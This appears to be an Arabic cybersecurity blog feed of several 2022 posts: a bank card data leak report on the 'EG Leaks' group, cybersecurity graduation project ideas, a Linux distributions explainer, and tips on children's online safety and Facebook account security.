لكن الآن لا وجود للأسماء المزيفة واستغلال الثغرات حيث ذكرت فيسبوك في تقرير لها أن لديها أكثر من 35 ألف شخص يعملون على معالجة المعلومات الخاطئة على منصتها لكي يصبحوا قادرين وبدقة على تحديد الحسابات (عامة – شخصية) التي سيتم حذفها بشكل نهائي

نصائح مهمة

تجنب العمليات التسويقية المخادعة التي تخولك الحصول على أعداد متابعين بسرعة جداً
قم باتباع خطة تسويقية جيدة وسوف تحصل على نتائج رغم الانتظار أو استشر مختص
لاتقم بإنشاء أكثر من حساب فيسبوك للإستخدام الشخصي
لا تسمح للأصدقاء أو أفراد عائلتك بالقيام بتسجيل الدخول لحسابتهم الشخصية على فيسبوك من خلال جهازك المحول أو حاسبك الشخصي
في حال تعرض حسابك للإغلاق ولست على دارية كافية لإسترجاعه قم بإستشارة مختص

شاركنا رأيك بالتعليقات وأخبرنا فيما إذا كنت ضحية لخدعة زيادة أعداد المتابعين التي انتشرت بكثرة

وماهي أبرز النقاط التي تتمنى أن يقوم بها فيسبوك

تسريب معلومات عملاء كبرى البنوك المصرية

Thu, 06 Oct 2022 10:12:03 GMT

رصدت شركة Resecurity مجموعة تُدعى EG Leaks أو Egypt Leaks سرّبت على الويب المظلم وقناة تلغرام ملفات Excel تضم معلومات 12229 بطاقة ائتمان لعملاء بنوك مصرية كبرى مثل البنك الأهلي المصري وبنك مصر وHSBC مصر. شملت البيانات البريد الإلكتروني وعنوان الفواتير والاسم واسم البنك ونوع البطاقة، ويبدو أن الدافع مادي عبر ابتزاز العملاء أو البنوك.

اكتشف باحثون في شركة الأمن السيبراني Resecurity مجموعة جديدة من المهاجمين تستهدف المؤسسات المالية في مصر

لاحظت شركة Resecurity (وهي شركة للأمن السيبراني مقرها كاليفورنيا تقدم خدمات الحماية للشركات على مستوى العالم) مجموعة جديدة من المهاجمين تستهدف المؤسسات المالية في مصر، تتبع الجهة المنفذة للهجمات لحملة “EG Leaks” والمعروفة أيضاً باسم “Egypt Leaks”

و بدأوا بتسريب كميات كبيرة من بيانات الدفع المخترقة الخاصة بعملاء البنوك المصرية الكبرى على شبكة الويب المظلم، تم الكشف عن أول ذكر لهذا النشاط في قناة عبر تطبيق تلغرام و التي تم إنشاؤها لتسريب ملفات Excel تحتوي على معلومات 12229 بطاقة ائتمان

تتضمن البيانات المسربة معلومات تحديد الهوية الشخصية PII الخاصة بالعملاء المحتملين للبنوك الكبرى في مصر ، بما في ذلك البنك الأهلي المصري وبنك HSBC مصر وبنك الإسكندرية وبنك مصر وبنك الإسكندرية بالإضافة إلى Credit Agricole Egypt والعديد من البنوك الأخرى

في حين أن بعض البيانات تبدو غير مكتملة، فقد تم التأكيد من احتواء البيانات على معلومات العديد من العملاء بتفاصيل صحيحة وتم الاتصال بهؤلاء العملاء بشكل فردي للتأكد من هذه المعلومات والتحقق من صحتها

تحتوي البيانات المسربة على عنوان البريد الإلكتروني وعنوان الفواتير والاسم الأول واسم العائلة واسم البنك ونوع البطاقة، لم يشارك منفذو الهجوم الأرقام الخاصة بالبطاقات المسربة ولكن ومن خلال محادثة خاصة أظهر منفذو الهجوم مجالات أخرى تؤكد أن البيانات المسربة هي بيانات حقيقية وشرعية

من المحتمل أن يكون الدافع وراء تنفيذ هذا الأمر هو دافع مادي فقط بهدف الحصول على الأموال، من خلال تسريب هذه البيانات تحاول هذه الجهة ابتزاز العملاء المتضررين من المؤسسات المالية أو ابتزاز البنوك والمؤسسات المالية للحصول على الأموال بشكل مشابه لعمليات التفاوض الخاصة ببرمجيات الفدية

الموقع الجغرافي لعملاء البنوك المتأثرين بهذا التسريب

70% من القاهرة
12% الاسكندرية
8% أسوان
7% الجيزة
2% سوهاج
1% الأقصر

بالإضافة إلى أن هذه التسريبات تحوي على معلومات العديد من العملاء من البحرين والمملكة العربية السعودية

المعلومات المسربة ممكن أن تستخدم لسرقة الهوية الرقمية وعمليات الاحتيال المالي ولهذا السبب من المهم اتخاذ اجراءات سريعة وخطوات مناسبة للحد من المخاطر المحتملة

وفقاً لمصادر متعددة، بدأت السلطات المصرية بالتحقيق في هذه الحادثة

أفكار لمشاريع تخرج بمجال الأمن السيبراني

Mon, 26 Sep 2022 20:47:22 GMT

من أقوى أفكار مشاريع التخرج في الأمن السيبراني: تطبيق الذكاء الاصطناعي لكشف التصيد والبرمجيات الخبيثة والتسلل للشبكات، وتصميم بنية شبكة آمنة، وخطة استجابة للحوادث، واختبار اختراق الأنظمة والشبكات وتطبيقات الويب، وتحليل البرمجيات الخبيثة، والتحليل الجنائي الرقمي، واستخدام SIEM Splunk لكشف هجمات الفدية وAPT.

في السنوات السابقة تصدرت حوادث الأمن السيبراني نشرات وعناوين الأخبار، خلف هذه الحوادث البارزة هناك في الخلفية حرب قائمة بين مجرمي الانترنت ومهندسي الحماية

مع وصول العالم إلى آفاق جديدة في مجال تكنلوجيا المعلومات واعتمادنا على شبكة الانترنت في معظم مجالات حياتنا اليومية واعتماد معظم الشركات على تقديم الخدمات عبر الشبكة بالإضافة لعمليات البيع والشراء والعمل عن بعد، كل هذه الأمور جعلت الأمن السيبراني من أكثر المجالات طلباً حول العالم

يعتبر مشروع التخرج بوابتك لسوق العمل لذا من المهم أن يكون هذا المشروع متعلق بالأمور المطلوبة من قبل الشركات في سوق العمل

في هذا المقال سنقدم لك بعض الأفكار لمشاريع التخرج ضمن مجال الأمن السيبراني (تحديث للحصول على المزيد من الأفكار الفريدة لمشاريع التخرج تابع قناتنا على التلغرام)

في البداية لنقم بتعريف الأمن السيبراني

ما هو الأمن السيبراني؟

الأمن السيبراني هو مجموعة الإجراءات والتدابير المتخذة لحماية الشبكات والبيانات المتبادلة عبرها من الاستخدام الغير مصرح به أو الاستخدام السيء لها

وهذا الأمر يجب أن يتم:

على المستوى الشخصي كحماية هويتك وبياناتك وأجهزتك عبر شبكة الانترنت
على مستوى الشركات كحماية سمعة الشركة وبياناتها ومعلومات عملائها
على مستوى الدول كحماية الأمن القومي وسلامة المواطنين

حاول أن يكون مشروعك غير مكرر ويقدم خدمة أو موضوع جديد يفتح لك أبواب سوق العمل وحاول تجنب الأفكار والمشاريع القديمة أو التقليدية والتي لم يعد لها تطبيق في يومنا الحالي كنمذجة أنظمة الاتصال أو الحساسات أو المشاريع الغبية الأخرى

إليك بعض الأفكار القوية لمشاريع تخرج ضمن مجال الأمن السيبراني:

تطبيق الذكاء الاصطناعي في الأمن السيبراني

يجد الذكاء الاصطناعي AI – Artificial Intelligence طريقه إلى الأمن السيبراني حيث أن استخدامه ينمو بشكل كبير من خلال الكشف الآلي والاستجابة للهجمات ومراقبة الشبكة والكشف عن نقاط الضعف والثغرات والعديد من الأمور الأخرى التي قد يتم فيها استخدام الذكاء الاصطناعي لتحسين عمليات الأمن السيبراني

إليك بعض الأفكار لاستخدام الذكاء الاصطناعي في الأمن السيبراني:

مراقبة حركة البيانات عبر الشبكة
اكتشاف التهديدات الغير معروفة
الحد من تكرار العمليات
حماية أجهزة العقد النهائية
تأمين عمليات المصادقة

يمكن للذكاء الاصطناعي القيام بالتحليل واكتشاف التهديدات التي يريدها متخصصو الأمن السيبراني لتقليل المخاطر والتهديدات وتعزيز الموقف الأمني نظراً لأن البشر لا يستطيعون مواكبة أسطح الهجوم المتغيرة باستمرار للشركات في يومنا الحالي، إليك المزيد من الأفكار:

Website Phishing Detection Model

صنع أداة أو إعداد نظام لكشف هجمات التصيد Phishing باستخدام تقنيات نحاكي اللغات الطبيعية للآلة NLP.

وظائفها: تحديد المحتويات الضارة في الرسالة، كشف مستوى الضرر المحتمل، تصنيف الرسائل أو حظرها مباشرة متضمنةً مراقبة الجهاز في الوقت الحالي Real-Time Monitoring.

Malware Detection Tool

مع تزايد البرمجيات الخبيثة وتطورها بشكل هائل، أصبحت لها القدرة على تغيير ال Signature الخاص بها من خلال طبقات متعددة له، وتمثلها بعدة أشكال منه أو سواء بتحديث نفسها بشكل مستمر خلال فترات زمنية قصيرة، مما صعب هذا الأمر على مكافح الفيروسات اكتشافها.

الهدف من هذه الأداة هو أن تكون طريقة جديدة لكشف هذه البرمجيات دون الاعتماد على ال Signature الخاص بها، وقدرته على تحديد أنماط هذه البرمجيات حتى وإن كانت جديدة لم يسبق وأن تم التعرف عليها من قبل.

Network Intrusion Detection System

تهدف هذه النظم إلى كشف التسللات التي تتم في الشبكة ورفع مستوى حمايتها عبر استخدام تعلم الآلة وخوارزمياتها أو حتى باستخدام Deep Learning (Decision Trees – SVM – KNN – Ensemble Methods).

كما يمكن الاستفادة من قدرات الحوسبة السحابية لتسريع أداء هذه الخوارزميات بشكل كبير أو معالجة كميات ضخمة من البيانات أو لتعميمها على مستوى شبكة أوسع.

خلال الأيام القادمة سيتم إضافة العديد من المصادر الخاصة بهذا الموضوع ضمن موسوعة الأمن السيبراني

تصميم وتنفيذ بنية تحتية آمنة للشبكة لمؤسسة أو شركة صغيرة

تصميم وتنفيذ بنية تحتية آمنة للشبكة لمؤسسة أو شركة صغيرة مع تطبيق كل إجراءات وطرق الحماية من خلال تقسيم الشبكة والتأكد من الاتصالات البعيدة وتطبيق عمليات المصادقة وتحديد الصلاحيات والمراقبة وضمان سرية وسلامة وتوافر البيانات المتبادلة عبر هذه الشبكة وتطبيق الحماية المادية لأجهزة الشبكة

إعداد خطة للاستجابة للحوادث الأمنية

أحد الأهداف الأساسية لأي برنامج حماية هو منع الحوادث الأمنية، على الرغم من الجهود التي يبذلها متخصصو تكنولوجيا المعلومات وخبراء الحماية إلا أن الحوادث ما زالت تقع باستمرار لذا من الضروري أن تكون الشركة أو المنظمة قادرة على الاستجابة لأي حادث والعمل على احتوائه.

الهدف الأساسي من الاستجابة للحوادث هو التقليل أو الحد من التأثير الخاص بالهجوم او الحادثة الأمنية على المنظمة أو الشركة

فكرة مميزة جداً أن يكون مشروعك حول إعداد وتطوير واختبار خطة الاستجابة للحوادث الأمنية لمنظمة أو شركة افتراضية، بما في ذلك إجراءات تحديد الحوادث الأمنية والاستجابة لها

يمكنك الاستفادة من هذه الدورة المكتوبة السريعة: “الاستجابة للحوادث الأمنية“

تطوير تطبيق موبايل آمن

تطوير تطبيق آمن للهواتف المحمولة يستخدم التشفير وطرق الاتصال الآمنة لحماية بيانات المستخدم مع تطبيق طرق مصادقة آمنة بدون كلمات سر (Passwordless Authentication)

حماية خدمات الحوسبة السحابية

البحث عن حلول آمنة وتنفيذها للخدمات السحابية مثل Amazon Web Services (AWS), Microsoft Azure, or Google Cloud Platform (GCP)

الحماية الخاصة بتقنية Blockchain

البحث والتحقق من ميزات الحماية لمنصات العملات الرقمية التي تعتمد على blockchain واقتراح وايجاد حلول آمنة للمعاملات المشفرة

الحماية الخاصة بأجهزة انترنت الأشياء IoT

البحث عن حلول لتأمين أجهزة إنترنت الأشياء IoT – Internet of Things والشبكات المرتبطة بها وتطويرها

يمكنك التركيز بشكل خاص على أجهزة انترنت الأشياء الخاصة بالرعاية الصحية IoT healthcare كونها تعاني من العديد من الثغرات والمشاكل الأمنية

الهندسة الاجتماعية

تقديم دراسة نظرية عن العوامل النفسية المستخدمة من قبل المهاجمين بهدف خداع الضحايا من خلال هجمات الهندسة الاجتماعية وتطبيق محاكاة عملية لهجمات التصيد الاحتيالي Phishing Attacks مع اقتراح حلول وطرق لاكتشاف هذه الهجمات واجراءات الحماية المرتبطة بها

يمكنك الاستفادة من هذه الدورة المكتوبة السربعة “هجمات التصيد الاحتيالي“

التشفير وفك التشفير وكسر التشفير بلغة البايثون

علم التشفير يعتبر من أهم الأمور التي يجب أن تتقنها للعمل في هذا المجال

في كتاب “فك الشيفرات السرية بلغة البايثون” وهو كتاب مترجم من الكتاب الأصلي Hacking Secret Ciphers with Python

تم التطرق لكتابة أكواد بلغة البرمجة بايثون للقيام بعمليات التشفير ومن ثم فك التشفير ومن ثم كسر التشفير للخوارزميات البسيطة، يمكنك المتابعة مع الكتاب الأصلي للحصول على الأكواد الخاصة بهذه البرامج لخوارزميات التشفير المقعدة ويمكن أن يكون مشروعك باسم “التشفير وفك التشفير بلغة البايثون” أو “فك الشيفرات السرية بلغة البايثون”

اختبار اختراق أنظمة التشغيل (لينكس – ويندوز)

عملية اختبار الاختراق هي محاكاة لأسلوب المهاجم الخبيث بهدف تقييم الوضع الأمني للأنظمة والعمل على اكتشاف نقاط الضعف بشكل استباقي واصلاحها قبل أن يتمكن المهاجم الخبيث من الوصول لها

تعتبر هذه المهارة من أكثر المهارة المطلوبة من قبل معظم شركات أمن المعلومات حول العالم، لذا من المهم أن تبدأ بتعلم الأدوات والتقنيات المستخدمة في عمليات اختبار اختراق الأنظمة وتطبيق هذه السيناريوهات ضمن مشروع التخرج الخاص بك بشكل عملي مع شرح طرق الحماية الاستباقية والإجراءات المضادة

يمكنك الاستفادة من كتاب “اختبار اختراق الويندوز“

اختبار اختراق الشبكات

تعتبر حماية الشبكات من المهارات المطلوبة بشكل كبير جداً من معظم الشركات ولإتقان هذه المهارة يجب أن تكون قادر على فهم الهجمات وتطبيقها بشكل عملي لتتمكن من تطبيق الحماية الخاصة بها

في هذا المشروع من الممكن أن تقوم بالعديد من هجمات الطبقة الثانية كهجمات:

MAC Attacks
DHCP Attacks
ARP Spoofing
DNS Spoofing
VLAN Attacks
STP Attacks

كل هذه الهجمات من الممكن أن يتم تنفيذها باستخدام أدوات جاهزة أو من خلال كتابة أكواد برمجية بلغة البايثون

في هذا المشروع ممكن أن تقوم ايضاً بشرح وتطبيق طرق الحماية الخاصة بهذه الهجمات ضمن بيئة اختبار تجريبية آمنة

تحليل البرمجيات الخبيثة

يعتبر هذا المجال من أكثر المجالات المطلوبة من قبل شركات الحماية وخاصة الشركات المصنعة لبرامج الحماية ومضادات الفيروسات، تبحث هذه الشركات عن أشخاص مختصين بتحليل البرمجيات الخبيثة لاكتشاف التقنيات والسلوك الخاص بهذه البرمجيات والتمكن من منعها من الوصول إلى الأنظمة والشبكات

من المميز جداً أن تختار مشروع بهذا المجال وتقوم بشرح التقنيات والأدوات المستخدمة في عمليات الهندسة العكسية وتحليل السلوك وتنفيذ عمليات التحليل بشكل عملي

قم بالاطلاع على كتاب “تحليل البرمجيات الخبيثة” لمزيد من التعمق في هذا المجال

التحليل الجنائي الرقمي

هو العلم الذي يجمع بين العلوم الشرطية الجنائية وعلوم الحاسب الآلي والهدف منه اكتشاف الأدلة الرقمية والتصدي للجرائم المعلوماتية

ممكن أن تختار بيئة محاكاة تحوي على نظام قد تعرض للاختراق وتقوم بعمليات التحليل الجنائي الرقمي لاكتشاف كيف تمت هذه العملية وتعمل على استخراج الأدلة الرقمية وتشرح وتذكر الضوابط القانونية الخاصة بالأدلة الرقمية المقبولة من قبل المحكمة أو الجهات المسؤولة

يمكنك الاستفادة من كتاب “التحليل الجنائي الرقمي“

اختبار اختراق سيرفرات وتطبيقات الويب

اختيارك لهذا المشروع سيفتح لك الأبواب للدخول لعالم اكتشاف الثغرات والربح المادي من خلال التبليغ عنها وهو مجال ممتع ومطلوب جداً من قبل معظم الشركات حول العالم

يمكنك الاستفادة من كتاب “اختبار اختراق سيرفرات وتطبيقات الويب الإصدار الأول” و كتاب “اختبار اختراق سيرفرات وتطبيقات الويب الإصدار الثاني“

إعداد سياسة أمنية لشركة أو بنك

هذا المشروع سيفتح لك الأبواب للتعرف على المعايير والضوابط العالمية الخاصة بالحماية وستكون قادر على فهم جميع الأمور المتعلقة بالهجمات الرقمية من المخاطر إلى القواعد الخاصة بإدارة كلمات السر إلى القواعد الخاصة بالاستجابة للحوادث الأمنية والقواعد التي يجب على الموظفين اتباعها والمعايير الخاصة بالحفاظ على معلومات العملاء والعديد من التفاصيل والأمور الأخرى.

محاكاة لمركز عمليات الأمن السيبراني

فيه يتم وضع سيناريو لهجوم معين تعرضت له شركة ما، ومن ثم يقوم فريق الحماية بالاستجابة للحادثة الأمنية، مع شرح أدوار كل شخص والأدوات المستخدمة، والقيام بتحليل الهجمة، شرح بنية الشبكة للشركة الافتراضية، مع تطبيقات عملية على بيئة تجريبية للسيناريو السابق.

استخدام SIEM Splunk لاكتشاف هجمات برمجيات الفدية

يمكن أن يتم هذا المشروع من خلال شرح برمجيات الفدية وآلية انتشارها وآلية عملها و كيفية التصدي لها والتعامل معها بفعالية ويمكن الاستفادة من البيئة الجاهزة Boss of the SOC للتحقيق بعملية إصابة نظام ببرمجيات الفدية باستخدام SIEM Splunk.

استخدام SIEM Splunk لاكتشاف هجمات APT

يمكن أن يتم هذا المشروع من خلال شرح وتنفيذ كامل مراحل Cyber kill Chain واستخدام Splunk لاكتشاف كل مرحلة من مراحل الهجوم ويمكن الاستفادة من البيئة الجاهزة boss of the SOC للقيام بهذه العملية.

أقترح عليك الاطلاع على أطروحة التخرج التالية “نظام SIEM للكشف عن التهديدات المتقدمة المستمرة“.

في النهاية

من المهم ملاحظة أن هذه الأفكار هي أمثلة قليلة فقط ويمكنك الخروج بأفكارك الخاصة بناءً على اهتماماتك ومهاراتك والموارد المتاحة لك.

من المهم أيضاً الإشارة لضرورة الحصول على موافقة من مشرفك أو مدرسك قبل بدء المشروع

لا تعتمد على أي شخص ليقوم بإعداد المشروع الخاص بك، قم بتعلم المهارات المطلوبة وابدأ العمل على مشروعك الخاص بنفسك

يمكنك الاستفادة من موسوعة الأمن السيبراني و مكتبة الأمن السيبراني لتتمكن من إعداد مشروعك بنفسك واكتساب المهارات المطلوبة للدخول لسوق العمل

لا تترد بطلب المساعدة من خلال التواصل معي عبر الفيسبوك “المهندس جميل حسين طويله”

ما الفرق بين توزيعات نظام لينكس

Sat, 24 Sep 2022 21:09:04 GMT

لينكس في الأصل نواة لنظام التشغيل بناها لينوس تورفالدس عام 1991، ولأنها مفتوحة المصدر ظهرت توزيعات كثيرة تختلف أساسًا في الأنظمة والجمهور المستهدف وفي أدوات إدارة الحزم. لا توجد توزيعة أفضل من غيرها: Red Hat للمؤسسات، وCentOS بديلها المجاني، وUbuntu لسطح المكتب والسيرفر، وDebian للاستقرار، وKali لاختبار الاختراق.

نظام لينكس هو نظام تشغيل مفتوح المصدر يستخدم في أجهزة الكمبيوتر و السيرفرات و الحواسيب المركزية و الأجهزة المحمولة وهو مدعوم على كل منصة كمبيوتر رئيسية تقريباً مما يجعله أحد أكثر أنظمة التشغيل دعماً على نطاق واسع.

في الواقع المعنى الحقيقي لـ Linux هو مجرد نواة لنظام التشغيل.

تم إنتاج هذه النواة في عام 1991 بواسطة Linus Torvalds، قبل أن يبني Linus Torvalds نواة Linux ، كان العديد من المبرمجين قد طوروا تطبيقات نواة لنظام تشغيل ، لكنهم فشلوا في بناء نواة متماسكة, النواة التي تؤدي في النهاية إلى نظام تشغيل متماسك حتى بنى لينوس تورفالدس نواة أطلق عليها اسم لينكس.

أدى إنشاء نظام التشغيل Linux ، نظراً لطبيعته مفتوحة المصدر إلى إنشاء إصدارات مختلفة من Linux ، مثل Debian أو Ubuntu تم تطوير كل منها بواسطة شركات مختلفة.

ما هي الإختلافات بين توزيعات Linux ؟

أول اختلاف رئيسي بين توزيعات لينكس هو الجماهير والأنظمة المستهدفة, على سبيل المثال يتم تخصيص بعض التوزيعات لأنظمة سطح المكتب وبعض التوزيعات مخصصة لأنظمة السيرفر وبعض التوزيعات مخصصة للأجهزة القديمة وما إلى ذلك.

الاختلاف الرئيسي الثاني بين التوزيعات هو عملية تثبيت التطبيقات وتحديثها, تستخدم التوزيعات المختلفة أدوات تثبيت وإدارة مختلفة للتطبيق تسمى أدوات إدارة الحزم.

ضع في إعتبارك أنه لايوجد ما يسمى “أفضل توزيعة على نظام لينكس” لأن كل إصدار من إصدارات لينكس المختلفة تم إنشاؤه لغرض معين, يجب عليك اختيار Centos أو Debian أو Ubuntu أو العديد من إصدارات لينكس الأخرى وفقاً لاحتياجاتك.

أشهر التوزيعات وأفضل استخدام لها

Red Hat Enterprise Linux

هو أكثر توزيعة لينكس شهرة, يتم استخدامه بشكل شائع من قبل المؤسسات و الشركات كنظام أساسي للسيرفرات نظراً لخدمات الدعم والتحديثات المخصصة.

في حال كنت صاحب مؤسسة أو شركة فهذه التوزيعة هي خيارك الأول فهو لا يوفر خدمات الدعم والتحديثات المضمونة فحسب, بل يوفر أيضاً المساعدة الفنية حسب المتطلبات.

هذه التوزيعة مجانية في حال لا تريد إستخدام الدعم الفني لكن في حال إستخدام الدعم والتحديثات سيفرض عليك رسوم إشتراك.

CentOS Linux

هو اشتقاق لـ Red Hat, يستخدم جميع أكواد مصدر Red Hat بدون العلامات التجارية والأعمال الفنية إذا كنت ترغب في استخدام Red Hat دون دفع رسوم اشتراك للحصول على دعم إضافي، فإن CentOS هو الخيار الأفضل لك.

Ubuntu

هو توزيعة لينكس الأكثر شهرة في العالم. هذا نظام تشغيل قائم على دبيان, لكن المصدر له مستودعات برمجية خاصة به ولا يستخدم مستودعات دبيان, يتزامن مع العديد من البرامج الموجودة بداخله مع برنامج Debian Repositor, إن الشيء العظيم في Ubuntu هو أنه يحتوي على المستودع الأكثر اكتمالا لجميع توزيعات Linux.

يركز Ubuntu على إنتاج إصدارات قوية لسطح المكتب والسيرفر بحيث يمكن للمستخدم الحصول على تجربة مقبولة لنظام التشغيل أقرب ما يمكن لنظام ويندوز.

Debian

يقوم مشروع دبيان بإنتاج البرمجيات منذ عام 1993 وما زال يُطلق إصدارات جديدة, لكن دبيان معروفة عموماً بحركتها البطيئة والثابتة, التحديثات أبطأ من أنظمة التشغيل مثل Ubuntu و Mint مما أدى إلى استقرار دبيان وهو أمر رائع لبعض الأنظمة.

تم إنشاء Ubuntu في الأصل استناداً إلى Debian لإنشاء نظام أساسي أكثر استقراراً وتحديثات وتحسينات أسرع, يعتبر الدبيان بيئة سهلة الاستخدام توفر تحديثات أسرع ملائمة للمستخدم الجديد.

Kali

هو توزيعة لينكس متخصصة في الأمن السيبراني, إضافة إلى أنه منتج مفتوح المصدر يتضمن الكثير من الأدوات لاختبار الاختراق ، مما يساعد الشركات على فهم نقاط ضعفها.

تعتمد هذه التوزيعة بشكل أساسي على مستودعات الدبيان ويعمل على مجموعة واسعة من الأجهزة بهدف الإستفادة منها لاختبار الاختراق والتحليل الجنائي للبيانات التي يمكن استخدامها لتحديد نقاط ضعف الشركة أو المؤسسة بهدف التخفيف من المخاطر.

“يوصي العديد من الخبراء بعدم إستخدام هذه التوزيعة للمبتدئين”

الخلاصة

نظرًا لأن نواة نظام لينكس مفتوحة المصدر ومجانية, فإنه يسمح للأفراد والمؤسسات المختلفة ببناء وتسويق أنظمة تشغيل مختلفة بناءً على أذواقهم واحتياجاتهم.

يسمى هذا النوع من أنظمة التشغيل توزيعة لينكس, يمكن لأي شخص اختيار مكونات نظام التشغيل (البرامج ، والحزم ، والواجهات الرسومية ، وبرامج التشغيل ، وما إلى ذلك) وفقاً لذوقهم واستخدام النواة لإنشاء واستخدام توزيعة حسب المتطلبات.

السلامة الرقمية للأطفال

Fri, 23 Sep 2022 02:37:22 GMT

أبرز مخاطر الإنترنت على الأطفال هي التنمر الإلكتروني والاحتيال والاستغلال والتعرض لمحتوى غير لائق. يحميهم الآباء بحماية معلوماتهم الشخصية وإعداد أدوات الرقابة الأبوية المضمنة في الأجهزة وتحديث التطبيقات، ووضع قواعد واضحة والتحدث معهم باستمرار وتشجيعهم على طلب المساعدة.

من المهم أن يكون الآباء على دراية بالمخاطر التي قد يواجهها أطفالهم في العصر الرقمي اليوم, يعد الإنترنت مكاناً رائعاً للحصول على المعلومات ولكنه يحتوي أيضاً على العديد من الطرق التي يمكن للناس من خلالها الاستفادة من الآخرين يجب أن يكون الآباء على دراية بالمخاطر التي تصاحب وسائل التواصل الاجتماعي والرسائل النصية وتطبيقات الدردشة والتأكد من وضع القواعد بشكل مسبق حتى يعرف أطفالهم ما يُسمح لهم بفعله عبر الإنترنت.

إذا كنت والداً أو وصياً ، فيمكنك المساعدة في الحفاظ على أمان أطفالك من خلال التحدث إليهم حول استخدامهم للإنترنت وتعليمهم مخاطر الإنترنت وتعليمهم كل ما يمكنك بشأن الإنترنت حتى يتمكنوا من اتخاذ قرارات مستنيرة.

أهم التهديدات عبر الإنترنت للأطفال

هنالك العديد من المخاطر التي يمكن أن يتعرض لها طفلك أثناء استخدامه للإنترنت والتي سنقوم بذكر أشهرها:

التنمر الإلكتروني

التنمر الإلكتروني: هو أي نشاط عدواني أو مُهدد أو متهور يتم إجراؤه عبر الاتصالات الإلكترونية (البريد الإلكتروني ، منشورات وسائل التواصل الاجتماعي ، الرسائل النصية )

تعرض أكثر من 36٪ من الأطفال الذين تتراوح أعمارهم بين 12 و 17 عاماً للتنمر عبر الإنترنت في مرحلة ما من حياتهم وحوالي 15٪ قاموا بالتنمر على شخص آخر عبر الإنترنت.

الاحتيال/ الاستغلال

في هذه الحالة عادةً ما يقوم البالغون في إستخدام الإنترنت من أجل إغراء الأطفال وإستغلالهم جنسياً أو استغلالهم بطرق تعسفية أخرى.

في هذه الحالة يكون الأطفال الضحايا من سن 3 حتى 17 عاماً, عندما يتعلق الأمر بالإغراء عبر الإنترنت تشكل الفتيات غالبية بنسبة (78٪) من الأطفال الضحايا – بينما الغالبية (82٪) من المتحرشين عبر الإنترنت هم من الذكور.

التعرض لمحتوى غير لائق

يعد المحتوى غير اللائق أحد أكثر التهديدات شيوعاً التي يواجهها الأطفال عبر الإنترنت.

كل شيء من اللغة المبتذلة والكلام الذي يحض على الكراهية إلى الصور العنيفة أو الجنسية يمكن أن يكون له تأثير ضار على الطفل كونه في سن قابل للتأثر.

أكثر من 55٪ من المراهقين (الأطفال الذين تتراوح أعمارهم بين 10 و 12 عاماً) تعرضوا لمحتوى عنيف على الإنترنت وصادف 60٪ منهم كلمات أو صوراً جنسية صريحة.

نصائح للإستخدام الآمن للإنترنت

حماية المعلومات الشخصية

يمكن أن يصبح هذا أمراً صعباً عندما يحتاج طفلك إلى تحديده للعمل المدرسي أو مناقشات الفصل الدراسي ولكن يجب حماية التفاصيل الشخصية عن كثب.

من المحتمل أن يكون لدى طفلك بالفعل “رقم تعريف الطالب” تعد هذه الأنواع من المعرفات طريقة رائعة لحماية التفاصيل الشخصية من التسريب على الإنترنت.

لا يجب استخدام أي من المعلومات التالية لتحديد هوية طفلك في الفصل أو في قائمة التقديرات المنشورة أو في مناقشة عبر الإنترنت.

الاسم الأول والأخير بالكامل
رقم الحماية الاجتماعية
تاريخ الميلاد
العنوان
رقم الهاتف

يجب أن يكون لطفلك أيضاً اسم مستخدم وكلمة مرور لتسجيل الدخول إلى الدورات والمحاضرات والواجبات.

قم بإعداد أدوات الرقابة الأبوية

لست مضطراً لشراء برامج الرقابة الأبوية لحماية طفلك أثناء التعلم عبر الإنترنت, يوجد بالفعل الكثير من الأدوات المفيدة المضمنة في أجهزة وبرامج ومتصفح الإنترنت بجهازك.

سنقوم بذكر مراجع خاصة بها هنا لمساعدتك على زيادة إعدادات الخصوصية المضمنة وأدوات حظر المحتوى.

تحديث التطبيقات بشكل فوري

أحد أفضل الطرق للحفاظ على أمان الأطفال على الإنترنت هو التأكد من أن جميع الأجهزة والبرامج والبرامج الثابتة محدثة.

يمكن أن تبدو التحديثات وكأنها خدعة ولكن أحد أكبر الأسباب التي تجعل الشركات التي تخرج من إصدارات جديدة هي نشر تصحيحات أمنية تتناول التهديدات الأحدث والمبتكرة هناك بالإضافة إلى ذلك ، يمكن لنظام التشغيل القديم أو الإصدار القديم من البرامج أن يجعل عناصر التحكم الوالدية وإعدادات الخصوصية عديمة الفائدة.

إرشادات للحفاظ على سلامة أطفالك

قد يكون من الصعب الحفاظ على أمان أطفالك تماماً عبر الإنترنت حتى إذا قمت بإعداد أدوات الرقابة الأبوية على جهاز الكمبيوتر المنزلي ، فسيستخدم أطفالك العديد من أجهزة الكمبيوتر الأخرى التي لا تحتوي على أدوات الرقابة الأبوية, للحفاظ على أمان أطفالك، ستحتاج إلى تعليمهم اتخاذ قرارات جيدة عند استخدام الإنترنت – حتى عندما لا تكون في رفقتهم.

فيما يلي بعض النصائح العامة التي يمكنك استخدامها عند تعليم أطفالك الأمان عبر الإنترنت:

ضع معايير لما يمكن أن يفعله أطفالك على الإنترنت

من المهم وضع قواعد لأطفالك حتى يعرفوا ما هو متوقع منهم. لا تنتظر حتى يحدث شيء سيء لتبدأ في وضع الإرشادات.

علم أطفالك الحفاظ على المعلومات الشخصية

عادةً ما تكون فكرة سيئة أن تنشر معلومات شخصية عبر الإنترنت مثل أرقام الهواتف والعناوين وبطاقات الائتمان, إذا تمكن المجرمون من الوصول إلى هذه المعلومات فيمكنهم استخدامها لإلحاق الضرر بك أو بأسرتك.

علم أطفالك استخدام مواقع الشبكات الاجتماعية بأمان

تسمح مواقع مثل (فيسبوك, انستغرام, سناب شات) للأطفال – والكبار – بنشر الصور ومقاطع الفيديو الخاصة بهم ، عوضاً عن هدفها الأساسي وهو إجراء محادثات مع الأصدقاء والغرباء.

إذا شارك أطفالك شيئاً ما مع الأصدقاء فلا يزال من الممكن أن يقع في الأيدي الخطأ, بشكل عام يجب ألا ينشروا شيئاً ما عبر الإنترنت إلا إذا كانوا على معرفة تامة بالشخص.

شجع أطفالك على القدوم إليك إذا واجهوا مشكلة

إذا واجه طفلك مشكلة عبر الإنترنت، فستريد منه أن يأتي إليك بدلاً من إخفائها, ضع في اعتبارك أن أطفالك قد يواجهون عن طريق الخطأ موقعاً سيئاً، حتى لو كانوا يفعلون كل شيء بشكل صحيح.

تحدث مع أطفالك بشكل مستمر حول إستخدام الإنترنت

تحدث إلى أطفالك بانتظام حول كيفية استخدامهم للإنترنت, إذا كانوا معتادون على التحدث إليك بشأن الإنترنت، فسيكونون أكثر استعداداً للقدوم إليك إذا كانت هناك مشكلة.

لا ترد على رسائل البريد الإلكتروني أو الرسائل النصية أو الرسائل الواردة من الغرباء

